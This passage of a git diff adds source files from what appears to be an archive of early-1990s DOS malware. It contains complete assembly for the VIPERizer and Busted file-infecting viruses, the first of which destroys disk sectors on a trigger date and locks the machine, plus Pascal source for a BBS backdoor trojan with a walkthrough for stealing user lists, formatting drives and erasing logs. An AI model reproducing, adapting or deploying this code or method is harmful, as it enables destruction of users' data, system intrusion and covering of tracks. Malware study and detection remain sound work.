there are none, search the next directory. +;************************************************** + +find_first_file: + mov ah,04eh ;Search for first + mov cx,00000001b ;mask + lea dx,maske_com ; + int 21h ; + jc find_first_subdir + jmp check_if_ill + +;************************************************** +; If program is ill(infected) then search for +; another other. +;************************************************** + +find_next_file: + mov ah,4fh ;search for next + int 21h + jc find_first_subdir + +;************************************************* +; Check is already infected by virus. +************************************************** + +check_if_ill: + mov ah,3dh ;open channel + mov al,02h ;read/write + mov dx,9eh ;address of name in dta + int 21 + mov bx,ax ;save channel + mov ah,3fh ; read file + mov ch,buflen ; + mov dx,buffer ;write in buffer + int 21h + mov ah,3eh ;close file + int 21h + +;*************************************************** +; This routine will search the three NOP's(no +; operation).If present there is already an infection. +; We must then continue the search +;**************************************************** + + mov bx,cs:[buffer] + cmp bx,9090h + jz find_next_file + +;*************************************************** +; This routine will BY PASS MS-DOS WRITE PROTECTION +; if present. Very important ! +;*************************************************** + + mov ah,43h ;write enable + mov al,0 + mov dx,9eh ;address of name in dta + int 21h + mov ah,43h + mov al,01h + and cx,11111110b + int 21h + +;**************************************************** +; Open file for read/write access. +***************************************************** + + mov ah,3dh ;open channel + mov al,02h ;read/write + mov dx,9eh ;address of name in dta + int 21h + +;**************************************************** +; Read date entry of program and save for future +; use. +;**************************************************** + + mov bx,ax ;channel + mov ah,57h ;get date + mov al.0 + int 21h + push cx ;save date + push dx + +;**************************************************** +; The jump located at address 0100h of the program +; will be saved for further use. +***************************************************** + + mov dx,cs:[conta] ;save old jmp + mov cs:[jmpbuf],dx + mov dx,cs:[buffer+1] ;save new jump + lea cx,cont-100h + sub dx,cx + mov cs:[conta],dx + +;***************************************************** +; The virus copies itself to the start of the file. +;***************************************************** + + mov ah,57h ;write date + mov al,1 + pop dx + pop cx ;restore date + int 21h + +;***************************************************** +; Close the file. +;***************************************************** + + mov ah,3eh ;close file + int 21h + +;***************************************************** +; Restore the old jump address. The virus saves at +; address "conta" the jump which was at the start of +; the host program. +; This is done to preserve the executability of the +; host program as much as possible. +; After saving it still works with the jump address +; contained in the virus. The jump address in the +; virus differs from the jump address in memory. +;**************************************************** + + mov dx,cs:[jmpbuf] ;restore old jump + mov cs:[conta],dx +hops: nop + call use_old + +;**************************************************** +; Continue with the host program. +;**************************************************** + +cont db 0e9h ;make jump +conta dw 0 + mov ah,00 + int 21h + +;*************************************************** +; Reactivate the selected drive at the start of +; the program. +;*************************************************** + +use_old: + mov ah,0eh ;use old drive + mov dl,cs:drive + int 21h + +;*************************************************** +; Reactivate the selected path at the start of +; the program. +;*************************************************** + + mov ah,3bh ;use old drive + lea dx,old_path-1 ;get old path and backslash + int 21h + ret + +search_order db 0ffh,1,0,2,3,0ffh,00,offh +pointer dw 0000 ;pointer f. search order +counter dw 0000 ;counter f. nth. search +disks db 0 ;number of disks + +maske_com db "*.com",00 ;search for com files +maske_dir db "*",00 ;search for dir's +maske_exe db offh,0,0,0,0,0,00111111b + db 0,"????????exe",0,0,0,0 + db 0,"????????com",0 +maske_all db offh,0,0,0,0,0,00111111b + db 0,"???????????",0,0,0,0 + db 0,"????????com",0 + +buffer equ 0e00h ;a safe place + +buflen equ 230h ;lenght of virus!!!! + ;carefull + ;if changing!!!! +jmpbuf equ buffer+buflen ;a safe place for jmp +path db "\",0 ;first place +drive db 0 ;actual drive +back_slash db "\" +old_path db 32 dup (?) ;old path + +code ends + +end main + diff --git a/b/BUSH (30).ASM b/b/BUSH (30).ASM new file mode 100755 index 0000000..087b3e9 --- /dev/null +++ b/b/BUSH (30).ASM @@ -0,0 +1,413 @@ +; +; VIPERizer, Strain B +; Copyright (c) 1992, Stingray/VIPER +; This is a Viral Inclined Programming Experts Ring Programming Team Production +; +; VIPER are: Stingray, Venom, and Guido Sanchez +; + +MOV_CX MACRO X ; Here is just a simple "mov cx,xxxx" macro. + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +VCODE: JMP virus + + NOP ; just a dud for the 'infected' file. + +v_start equ $ + + +virus: PUSH CX + mov ax,0ff0fh ; Thanks to RABID... Change Mem Marker + int 21h + cmp ax,101h ; Is VirexPC/FluShit in memory? + jne more_virus ; Nope. + jmp quit ; FUCK!!!!! +more_virus: + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + mov cx,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + + MOV AH,30H + INT 21H + nop + CMP AL,0 ;0 means it's version 1.X + JNZ dos_ok ;For version 2.0 or greater + JMP quit ;Don't try to infect version 1.X +dos_ok: + mov ah,2ch ; Get Time + int 21h ; Do it. + xor bx,bx ; VIPERize bx, for later use. + cmp dl,4 ; hund's of seconds 4? + jle print_message ; If 4 or less, print a message. + ; This serves as a random 1 in 20 + ; chance of the message printing + jmp short get_date ; No? What date is it...? +print_message: + mov dl, byte ptr [si+msg+bx] ; Get a byte of our message... + or dl,dl ; is it 0? (end of message) + jz get_date ; Get the date if it is... + sub dl,75 ; Unencrypt message + mov ah,2 ; Prepare to print one letter + int 21h ; do it! + inc bx ; point to next character. + jmp short print_message ; Do it again. +get_date: + mov ah,2ah ; What day is it? + int 21h ; Find out. + cmp dh,3 ; Is it february? + jne resume ; No? Oh well. + cmp dl,24 ; Is it valentines day? + jne resume ; No? Damn. + mov ah,2ch ; What time is it? + int 21h ; Find out. + cmp ch,7 ; Is it 7 hours? + jne resume ; No? C'est la vie... + cmp cl,45 ; Is it 45 minutes? + jne resume ; No? Too Bad... + xor bx,bx ; VIPERize bx +cool: + mov dl,byte ptr [si+msg2+bx] ; This is pretty much the + or dl,dl ; same as the above 'print' + jz no_mas ; function. except I didn't + sub dl,75 ; make it a procedure. + mov ah,2 + int 21h + inc bx + jmp short cool +no_mas: + mov al,0 ; Start with drive default +phri: + mov cx,255 ; Nuke a few sectors + mov dx,1 ; Beginning with sector 1!!! + int 26h ; VIPERize them!!!! Rah!!! + jc error ; Uh oh. Problem. + add sp,2 ; Worked great. Clear the stack... +error: + inc al ; Get another drive! + cmp al,200 ; Have we fried 200 drives? + je done_phrying ; Yep. + jmp short phri ; Nope. +done_phrying: + cli ; Disable Interrupts + hlt ; Lock up computer. +resume: + PUSH ES + MOV AH,2FH + INT 21H + nop + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + POP ES + MOV DX,dta ;Offset of new DTA in virus data area + nop + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + nop + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + nop + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + nop + LOOP check_next_4 ;Loop to check the next character + POP SI + POP ES + nop + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + nop + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + nop + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + nop + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir +moved_last_one: + xor si,si +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + CMP CH,'\' ;Ends with "\"? + nop + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + nop + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + nop + JMP SHORT find_first +find_next: + MOV AH,4FH + INT 21H + nop +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + nop + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + nop + MOV DX,wrk_spc ;Point to \path\name in workspace + ADD DX,SI + INT 21H + nop + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + nop + MOV DX,wrk_spc ;Offset of \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + nop + MOV AX,OFFSET 3D02H ;Read/Write + nop + MOV DX,wrk_spc ;Offset to \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + nop + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + nop + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,3FH + nop + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + nop + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + xor cx,cx + xor dx,dx + INT 21H + nop + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + nop + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + MOV AH,40H + MOV_CX virlen ;Length of virus, in bytes + nop + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + nop + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + xor cx,cx + xor dx,dx + INT 21H + nop + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + nop + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + nop +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + nop + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + nop + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + nop + MOV AH,3EH + INT 21H + nop +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + nop + MOV DX,wrk_spc + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + nop +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + nop + MOV DS,[SI+old_dts] + INT 21H + nop + POP DS + nop +quit: + POP CX + XOR AX,AX + XOR BX,BX + xor cx,cx + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH +vir_dat EQU $ +olddta_ DW 0 ;Old DTA offset +olddts_ DW 0 ;Old DTA segment +oldtim_ DW 0 ;Old Time +oldate_ DW 0 ;Old date +oldatt_ DW 0 ;Old file attributes +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H ;Start of JMP instruction +jmpdsp_ DW 0 ;The displacement part +fspec_ DB '*.COM',0 +pathad_ DW 0 ;Path address +namptr_ DW 0 ;Pointer to start of file name +envstr_ DB 'PATH=' ;Find this in the environment +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) ;Temporary DTA goes here +dtatim_ DW 0,0 ;Time stamp in DTA +dtalen_ DW 0,0 ;File length in the DTA +dtanam_ DB 0Dh dup (0) ;File name in the DTA +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 + +_msg db 158,186,189,189,196,107,191,179,180,190,107,174,186,184,187,192 + db 191,176,189,107,180,190,107,185,186,107,183,186,185,178,176,189 + db 107,186,187,176,189,172,191,180,186,185,172,183,107,175,192,176 + db 107,191,186,107,172,185,107,186,192,191,173,189,176,172,182,107 + db 186,177,088,141,192,190,179,180,190,179,180,189,186,088,147,172 + db 193,176,107,172,107,153,148,142,144,107,175,172,196,121,121,121 + db 088 + db 0 + +_msg2 db 161,148,155,144,157,180,197,176,189,119,107,158,191,189,172,180 + db 185,107,141,085,088 + db 115,174,116,107,124,132,132,125,119,107,158,191,180,185,178,189 + db 172,196,122,161,148,155,144,157,085,088 + db 147,172,187,187,196,107,161,172,183,176,185,191,180,185,176,190 + db 107,143,172,196,108,085,088 + db 0 + + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code +msg = _msg - vir_dat ; Disp. to 1st msg +msg2 = _msg2 - vir_dat ; Disp. to 2nd msg + CODE ENDS +END VCODE + \ No newline at end of file diff --git a/b/BUSTED.ASM b/b/BUSTED.ASM new file mode 100755 index 0000000..88aa440 --- /dev/null +++ b/b/BUSTED.ASM @@ -0,0 +1,225 @@ +cr equ 13 ; Carriage return ASCII code +lf equ 10 ; Linefeed ASCII code +tab equ 9 ; Tab ASCII code +code_start equ 100h ; Address right after PSP in memory +dta equ 80h ; Addr of default disk transfer area +datestamp equ 24 ; Offset in DTA of file's date stamp +timestamp equ 22 ; Offset in DTA of file's time stamp +filename equ 30 ; Offset in DTA of ASCIIZ filename +attribute equ 21 ; Offset in DTA of file attribute + + + code segment 'code' ; Open code segment + assume cs:code,ds:code ; One segment for both code & data + org code_start ; Start code image after PSP + +;--------------------------------------------------------------------- +; All executable code is contained in boundaries of procedure "main". +; The following code, until the start of "virus_code", is the non- +; encrypted CMT portion of the code to load up the real program. +;--------------------------------------------------------------------- +main proc near ; Code execution begins here + call encrypt_decrypt ; Decrypt the real virus code + jmp random_mutation ; Put the virus into action + +encrypt_val1 db 00h ; Hold value to encrypt by here +encrypt_val2 db 00h + +; ---------- Encrypt, save, and restore the virus code ----------- +infect_file: + mov cx,handle ; Get the handle + push cx ; Save it on the stack + call encrypt_decrypt ; Encrypt most of the code + pop bx ; Get back the handle + mov cx,endvir-main ; Total number of bytes to write + mov dx,code_start ; Buffer where code starts in memory + mov ah,40h ; DOS write-to-handle service + int 21h ; Write the virus code into the file + call encrypt_decrypt ; Restore the code as it was + ret ; Go back to where you came from + +; --------------- Encrypt or decrypt the code ---------------- +encrypt_decrypt: + mov bx,offset virus_code ; Get address to start encrypt/decrypt +xor_loop: ; Start cycle here + mov al,[bx] ; Get the current byte + xor al,encrypt_val1 ; Engage/disengage XOR scheme on it + mov [bx],al ; Put it back where we got it + inc bx ; Move BX ahead a byte + cmp bx,offset virus_code+(endvir-main) ; Are we at the end? + je xor_nd + mov al,[bx] + xor al,encrypt_val2 + mov [bx],al + inc bx + cmp bx,offset virus_code+(endvir-main) + jle xor_loop ; If not, do another cycle +xor_nd: + ret ; and go back where we came from + +;----------------------------------------------------------------------- +; The rest of the code from here on remains encrypted until run-time, +; using a fundamental XOR technique that changes via CMT. +;----------------------------------------------------------------------- +virus_code: + +;---------------------------------------------------------------------------- +; All strings are kept here in the file, and automatically encrypted. +; Please don't be a lamer and change the strings and say you wrote a virus. +; Because of Cybernetic Mutation Technology(tm), the CRC of this file often +; changes, even when the strings stay the same. +;---------------------------------------------------------------------------- +exe_filespec db "*.EXE",0 +com_filespec db "*.COM",0 +newdir db "..",0 +fake_msg db cr,lf,"Program too big to fit in memory$" +virus_msg db cr,lf,tab,"Busted!$" +virus_info db "This is based on Leprosy-B. Thanx PCM2" +viral_tag db "Busted, Strain A, version 1.0" +viral_tag_2 db "By @&$ (Psychogenius), September '91" +compare_buf db 20 dup (?) ; Buffer to compare files in +files_found db ? +files_infected db ? +orig_time dw ? +orig_date dw ? +orig_attr dw ? +handle dw ? +success db ? + +random_mutation: ; First decide if virus is to mutate + mov ah,2ch ; Set up DOS function to get time + int 21h + cmp encrypt_val1,0 ; Is this a first-run virus copy? + je install_val ; If so, install whatever you get. +install_val: + cmp dl,0 ; Will we be encrypting using zero? + je random_mutation ; If so, get a new value. + mov encrypt_val1,dl ; Otherwise, save the new value + mov encrypt_val2,dh +find_extension: ; Locate file w/ valid extension + mov files_found,0 ; Count infected files found + mov files_infected,4 ; BX counts file infected so far + mov success,0 +find_exe: + mov cx,00100111b ; Look for all flat file attributes + mov dx,offset exe_filespec ; Check for .EXE extension first + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je find_com ; If not, nothing more to do + call find_healthy ; Otherwise, try to find healthy .EXE +find_com: + mov cx,00100111b ; Look for all flat file attributes + mov dx,offset com_filespec ; Check for .COM extension now + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je chdir ; If not, step back a directory + call find_healthy ; Otherwise, try to find healthy .COM +chdir: ; Routine to step back one level + mov dx,offset newdir ; Load DX with address of pathname + mov ah,3bh ; Change directory DOS service + int 21h + dec files_infected ; This counts as infecting a file + jnz find_exe ; If we're still rolling, find another + jmp exit_virus ; Otherwise let's pack it up +find_healthy: + mov bx,dta ; Point BX to address of DTA + mov ax,[bx]+attribute ; Get the current file's attribute + mov orig_attr,ax ; Save it + mov ax,[bx]+timestamp ; Get the current file's time stamp + mov orig_time,ax ; Save it + mov ax,[bx]+datestamp ; Get the current file's data stamp + mov orig_date,ax ; Save it + mov dx,dta+filename ; Get the filename to change attribute + mov cx,0 ; Clear all attribute bytes + mov al,1 ; Set attribute sub-function + mov ah,43h ; Call DOS service to do it + int 21h + mov al,2 ; Set up to open handle for read/write + mov ah,3dh ; Open file handle DOS service + int 21h + mov handle,ax ; Save the file handle + mov bx,ax ; Transfer the handle to BX for read + mov cx,20 ; Read in the top 20 bytes of file + mov dx,offset compare_buf ; Use the small buffer up top + mov ah,3fh ; DOS read-from-handle service + int 21h + mov bx,offset compare_buf ; Adjust the encryption value + mov ah,encrypt_val1 ; for accurate comparison + mov [bx+6],ah + mov si,code_start ; One array to compare is this file + mov di,offset compare_buf ; The other array is the buffer + mov ax,ds ; Transfer the DS register... + mov es,ax ; ...to the ES register + cld + repe cmpsb ; Compare the buffer to the virus + jne healthy ; If different, the file is healthy! + call close_file ; Close it up otherwise + inc files_found ; Chalk up another fucked up file +continue_search: + mov ah,4fh ; Find next DOS function + int 21h ; Try to find another same type file + cmp ax,12h ; Are there any more files? + je no_more_found ; If not, get outta here + jmp find_healthy ; If so, try the process on this one! +no_more_found: + ret ; Go back to where we came from +healthy: + mov bx,handle ; Get the file handle + mov ah,3eh ; Close it for now + int 21h + mov ah,3dh ; Open it again, to reset it + mov dx,dta+filename + mov al,2 + int 21h + mov handle,ax ; Save the handle again + call infect_file ; Infect the healthy file + call close_file ; Close down this operation + inc success ; Indicate we did something this time + dec files_infected ; Scratch off another file on agenda + jz exit_virus ; If we're through, terminate + jmp continue_search ; Otherwise, try another + ret +close_file: + mov bx,handle ; Get the file handle off the stack + mov cx,orig_time ; Get the date stamp + mov dx,orig_date ; Get the time stamp + mov al,1 ; Set file date/time sub-service + mov ah,57h ; Get/Set file date and time service + int 21h ; Call DOS + mov bx,handle + mov ah,3eh ; Close handle DOS service + int 21h + mov cx,orig_attr ; Get the file's original attribute + mov al,1 ; Instruct DOS to put it back there + mov dx,dta+filename ; Feed it the filename + mov ah,43h ; Call DOS + int 21h + ret +exit_virus: + cmp files_found,6 ; Are at least 6 files infected? + jl print_fake ; If not, keep a low profile + cmp success,0 ; Did we infect anything? + jg print_fake ; If so, cover it up + mov ah,09h ; Use DOS print string service + MOV DX, OFFSET virus_msg ; Print "Busted!" + jmp terminate +print_fake: + mov ah,09h ; Use DOS to print fake error message + mov dx,offset fake_msg + int 21h +terminate: + mov ah,4ch ; DOS terminate process function + int 21h ; Call DOS to get out of this program +endvir LABEL BYTE + +main endp +code ends + end main + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/b/BYPASS.ASM b/b/BYPASS.ASM new file mode 100755 index 0000000..9468b8d --- /dev/null +++ b/b/BYPASS.ASM @@ -0,0 +1,220 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +> Bypass Trojan v1.0 and v2.0 : + + Created by: Mechanix + Released : October 1991 + + Introduction: + + Well this is basically another backdoor creator for Telegard Systems. This + one is relatively fullproof except for the fact that it requires REMOTE.BAT to + exist on the target system, or it will not function properly. However, the + Bypass Trojan v2.0 takes care of this problem as it creates REMOTE.BAT on the + target system, if it doesn't exist already. This is why I am also releasing + the source (in Turbo Pascal) to the Bypass Trojan v1.0. You will find the + source after the description. + + Description: + + This trojan will scan all directories on drives C: to E: in search of the + MAIN.MNU file. Then it will append a few lines to the file as to create a + hidden command to shell to DOS. It also checks to see if the MAIN.MNU file is + Read-Only or Hidden, and will remove these attributes long enough to make the + changes. It will also check for write-protection. The source can also be + changed as to modify any of the .MNU files. + + Notes: + + This trojan uses a basic Turbo Pascal cycle to scan all directories and + files, and thus the source can be modified for a number of uses. As for a good + procedure to nail the board once the shell to DOS command has been + implemented, I recommend the following: + - First and foremost, use a PBX or other phreaking trick to avoid the + annoying Maestro phone. + - Call preferably around 4-5 am, when the SysOp is almost sure not to be + around. + - Use the shuttle password (if there is one) and then apply as a NEW user + after you have bypassed the shuttle password. This will usually bypass CBV + utilities. + - Shell to DOS in the correct menu. + - Turn your capture mode on, as to record everything you see. + - Go get the user list and ZIP it up with another ZIP file that is already + online. This way you can D/L it later when you log on again. Or capture it + through a text file viewing utility if you find one on the system. + - If you don't want the user list, and just want to crash the board, then + FORMAT C: should do the trick. Or uses DEBUG to rearrange his FATs. Or if + it's a H/P board, use one of the online virii or trojans to screw him. That + will teach him, and you get to test them out. + - If you decide to only take the user list and let the board live, then go + edit the logs as to remove all evidence of your actions. If there's a spool + to printer log, you're in trouble. + - If you could not bypass CBV, then find that utility's log and edit out + your number. + - Lastly, take off the DOS shell command from the menu you modified in the + first place, unless you want to use it again, but this is risky. + + Well that's the method I've been using, but the choice is your's. + + + + + + Source: + +PROGRAM BYPASS1; +{ Bypass Trojan v1.0 } +{ Created by: MH!X [NuKE] } +{ Created on: 27/09/91 } +USES DOS; +VAR + Target : SEARCHREC; + T : TEXT; +PROCEDURE DIRECT (PATH : STRING); +VAR + PATH2 : STRING; + INFO : SEARCHREC; + INFO2 : SEARCHREC; + F : TEXT; +BEGIN + Findfirst (PATH + '\*.*',$10,INFO); + WHILE DOSERROR = 0 DO + BEGIN + IF (INFO.ATTR = $10) AND (INFO.NAME[1] <> '.') THEN + Begin + PATH2 := PATH + '\' + INFO.NAME; + Chdir (PATH2); + Findfirst ('MAIN.MNU',($3F - $10),INFO2); { Or any .MNU you wish } + WHILE DOSERROR = 0 DO + Begin + ASSIGN (F,INFO2.NAME); + Setfattr (F,$20); + Append (F); + Writeln (F,' '); + Writeln (F,' '); + Writeln (F,'#'); { Key to add } + Writeln (F,' '); + Writeln (F,'-$'); + Writeln (F,'NUKEWAR;PW: ;^8WRONG - access denied!'); { Password } + Writeln (F,' '); + Writeln (F,' '); + Writeln (F,' '); + Writeln (F,'#'); { Key to add } + Writeln (F,' '); + Writeln (F,'D-'); + Writeln (F,'REMOTE.BAT'); + Close (F); + Findnext(INFO2); + End; + DIRECT (PATH2); + End; + Findnext(INFO); + End; + END; +PROCEDURE FILEFIND (DRIVE : CHAR); +BEGIN + Chdir (DRIVE + ':\'); + Findfirst ('MAIN.MNU',($3F - $10),Target); { Or any .MNU you wish } + WHILE DOSERROR = 0 DO + Begin + ASSIGN (T,Target.name); + Setfattr (T,$20); + {$I-} + Append (T); + {$I+} + IF IORESULT = 0 THEN + Begin + Writeln (T,' '); + Writeln (T,'#'); { Key to add } + Writeln (T,' '); + Writeln (T,'-$'); + Writeln (T,'NUKEWAR;PW: ;^8WRONG - access denied!'); { Password } + Writeln (T,' '); + Writeln (T,' '); + Writeln (T,' '); + Writeln (T,'#'); { Key to add } + Writeln (T,' '); + Writeln (T,'D-'); + Writeln (T,'REMOTE.BAT'); + Close (T); + End + ELSE + Exit; + Findnext (Target); + End; + DIRECT (DRIVE + ':'); +END; +BEGIN + {$I-} + Chdir ('C:\'); + {$I+} + IF IORESULT = 0 THEN + FILEFIND ('C'); + {$I-} + Chdir ('D:\'); + {$I+} + IF IORESULT = 0 THEN + FILEFIND ('D'); + {$I-} + Chdir ('E:\'); + {$I+} + IF IORESULT = 0 THEN + FILEFIND ('E'); +END. + + Well there it is. Please feel free to improve it in anyway you like. I will + soon release the source to Bypass Trojan v2.0 which checks for REMOTE.BAT and + creates one if needed. The REMOTE.BAT file also has the Hidden attribute to + try and hide it from the SysOp. The reason for this, is that smart SysOps, and + any of those who are reading this, rename the REMOTE.BAT or remove it, to + avoid this sort of trojan. The original release is for a modem on Com2. If you + wish to have the trojan for another device, either edit it in the .EXE, or + contact me (Mechanix) on any [NuKE] board, and I will recompile the source for + you with another device. + + Mechanix [NuKE] + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; diff --git a/b/Bac.asm b/b/Bac.asm new file mode 100755 index 0000000..b7e8a12 --- /dev/null +++ b/b/Bac.asm @@ -0,0 +1,364 @@ +BAC segment para public 'code' + assume 